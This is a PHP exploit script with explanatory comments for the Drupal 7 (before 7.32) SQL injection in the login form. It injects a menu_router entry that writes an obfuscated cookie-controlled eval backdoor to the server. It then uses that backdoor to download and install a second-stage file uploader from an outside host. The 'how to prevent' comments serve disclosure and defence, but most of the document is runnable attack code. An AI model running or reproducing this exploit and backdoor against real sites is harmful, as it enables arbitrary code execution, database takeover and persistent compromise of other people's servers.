exploit.php

<?php
/**
 * @author Matt Korostoff <[email protected]>
 *
 * @copyright Licensed under the GNU General Public License as published by the Free
 * Software Foundation, either version 3 of the License, or (at your option)
 * any later version.  http://www.gnu.org/licenses/
 *
 * @usage php path/to/this/file.php 'http://example.com'
 */

/*******************************************************************************
 *                             Step 1 - SQL Injection                          *
 *******************************************************************************
 *
 * We want to install a backdoor on the system that will allow us to run any PHP
 * code.  THe basic procedure here is as follows:
 *
 * 1. Add an entry into the menu_router table.  The menu_router table is Drupal's
 *    store of internal url paths.  For instance, if you want to create a URL to
 *    the effect of "http://example.com/foo" menu_router would contain a record
 *    with the path column set to "foo"
 *
 * 2. Set the access_callback in your new menu_router entry to "file_put_contents".
 *    Now, the next time someone navigates to "http://example.com/foo" Drupal
 *    will call "file_put_contents" without doing any prior access checking.
 *
 * 3. Set the access_arguments in your new menu_router entry to the following
 *    array (serialized of course):
 *
 *       array(
 *         "path/where/you/want/to/upload/your/exploit/file.php",
 *         "full contents of your attack file"
 *       );
 *
 * 4. Navigate to "http://example.com/foo".  When you do this, Drupal will write
 *    your attack file to your specificied directory.
 *
 *
 * HOW TO PREVENT THIS ON YOUR SITE
 *
 * 1. Upgrade to Drupal 7.32 or greater.  If you are reading this and your site
 *    is running 7.31 or less, it has already been hacked for months.
 *
 * 2. Drop all POST traffic in Varnish, and only allow access to Apache from a
 *    specified list of IP addresses.  Note that this is only an option if you
 *    have a small, known group of users who must authenticate with Drupal, e.g.
 *    a news website where all traffic is anaonymous except for a handful of authors
 *
 *    @see https://blog.nictrix.net/2013/11/20/apache-http-whitelist-multiple-ip-addresses/
 *    @see https://www.varnish-software.com/static/book/VCL_Basics.html#default-vcl-recv
 */
$url = $argv[1];

/**
 * This is an obfuscated version of the backdoor file we're going to write to disk.
 * Once this file is placed on the server, an attacker who knows how to use it
 * can execute any PHP on your server.  For a deobfuscated version @see deobfuscated.php
 */
$malicious_file_to_upload = '<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();';

//We will save this file inside the poll module.  Just a random selection.
$attack_payload = array('modules/poll/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);

/**
 * I'm not sure why exactly, but this vulnerability doesn't allow you to inject
 * curly brackets as plain text.  Instead, we'll use the SQL CHAR() keyword.
 * What we're doing on this line is converting a serialized array of the format:
 *
 *    a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
 *
 * Into a a value that can be used in an SQL statement, e.g.:
 *
 *    CONCAT('a:2:', CHAR(123), 'i:0;s:3:"foo";i:1;s:3:"bar";', CHAR(125))
 *
 * A little circuitus, but it's necessary for this exploit
 */
$attack_payload =   str_replace('{', '\' , CHAR(123), \'', $attack_payload);
$attack_payload =   str_replace('}', '\' , CHAR(125), \'', $attack_payload);

/**
 * We also need to escape square brackets.  Not because they're a problem for
 * SQL, but because the square bracket has a special meaning when used in HTTP
 * POST data, namely, that they're used to declare an array.
 */
$attack_payload =   str_replace('[', '\' , CHAR(91), \'', $attack_payload);
$attack_payload =   str_replace(']', '\' , CHAR(93), \'', $attack_payload);

//Build the malicious SQL query.
$query_to_run = "insert into menu_router values ('backdoor','','','file_put_contents',CONCAT('" . $attack_payload . "'),'','','',0,0,0,'','','','','','','',0,'hacked','',0,'')";
$query_to_run = urlencode($query_to_run);

/**
 * Send the malicious SQL query to the user login form.
 *
 * This works because, until Drupal 7.32, array keys from the user login form
 * were trusted implicitly.  So a submission to the user login form would
 * normally look like:
 *
 *    name[0]=my_drupal_user_name&password[0]=my_drupal_password
 *         ^
 *         |
 *         |
 *         |
 * This "0" is the problem.  Drupal is just going to pass this value to the
 * database unsanitized.  So if we make a malicious program that sends the
 * following request:
 *
 *    name[); DROP TABLE students;]=my_drupal_user_name&password[0]=my_drupal_password
 *
 * Boom, we've just injected some sql.  And deleted this years student records.
 *
 */
$post_data = "name[0%20;" . $query_to_run . ";;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
    'http' => array(
    'method' => 'POST',
    'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
    'content' => $post_data
  )
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
/*******************************************************************************
 *                              SQL injection complete                         *
 *******************************************************************************/


/*******************************************************************************
 *                    Step 2 - Create a backdoor to run any PHP                *
 *******************************************************************************
 *
 * Navigate to your new attack page.  This will take the text we selected above
 * in $malicious_file_to_upload and write in to http://example.com/modules/poll/backdoor.php
 * backdoor.php is our backdoor that will allow us to run any PHP we want and the
 * exploited machine.
 *
 * @see deobfuscated.php
 *
 * HOW TO PREVENT THIS ON YOUR SITE
 *
 * 1. Make sure your Drupal root is unwrittable to Apache.  You should have been
 *    doing this already, but if you're not, this is the time to start.
 *    @see https://www.drupal.org/node/244924
 *
 * 2. Upgrade to php 5.5.  Our malicious attack file relies totally on a
 *    deprecated feature of preg_replace which allows you to eval any code
 *    during a find/replace opperation.
 *    @see http://php.net/manual/en/function.preg-replace.php#refsect1-function.preg-replace-changelog
 *
 * 3. Host with a professional Drupal hosting company, such as Acquia.  Literally
 *    every stage of this attack would have failed against a site hosted with
 *    Acquia.
 */
file_get_contents($url . '/backdoor');

/*******************************************************************************
 *               Step 3 - Create a backdoor to upload any file                 *
 *******************************************************************************
 *
 * With our new found power to run and PHP and any SQL on the exploited server,
 * we're going to do exactly one thing, and that is download a secondary exploit
 * file to some other location on the file system.  We're going to choose the
 * bartik theme as the upload location because, hey, why not. uploader.php is a
 * file I found on my server that was put there by a hacker.  As the name implies,
 * it can be used to upload any file to the director where it's located.
 *
 * HOW TO PREVENT THIS ON YOUR SITE
 *
 * Make sure your Drupal root is unwrittable to Apache (see #1 and #3 from Step
 * 2 above)
 */
$c = curl_init($url . '/modules/poll/backdoor.php');
$code = base64_encode('file_put_contents(realpath("../..") . "/themes/bartik/uploader.php", file_get_contents("http://mattkorostoff.com/uploader.txt"));');
curl_setopt($c, CURLOPT_COOKIE, 'Kcqf3=base64_decode;Kcqf2=cHJlZ19yZXBsYWNl;Kcqf1=' . $code . ';');
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$page = curl_exec($c);

/**
 * Hacking complete.  The attacker can now:
 * - Run any SQL on your server.
 * - Run any PHP on your server.
 * - Upload any file to your server.
 *
 * Once this hack is executed, you really have little choice but to scrap the
 * whole server and reinstall from scratch.
 */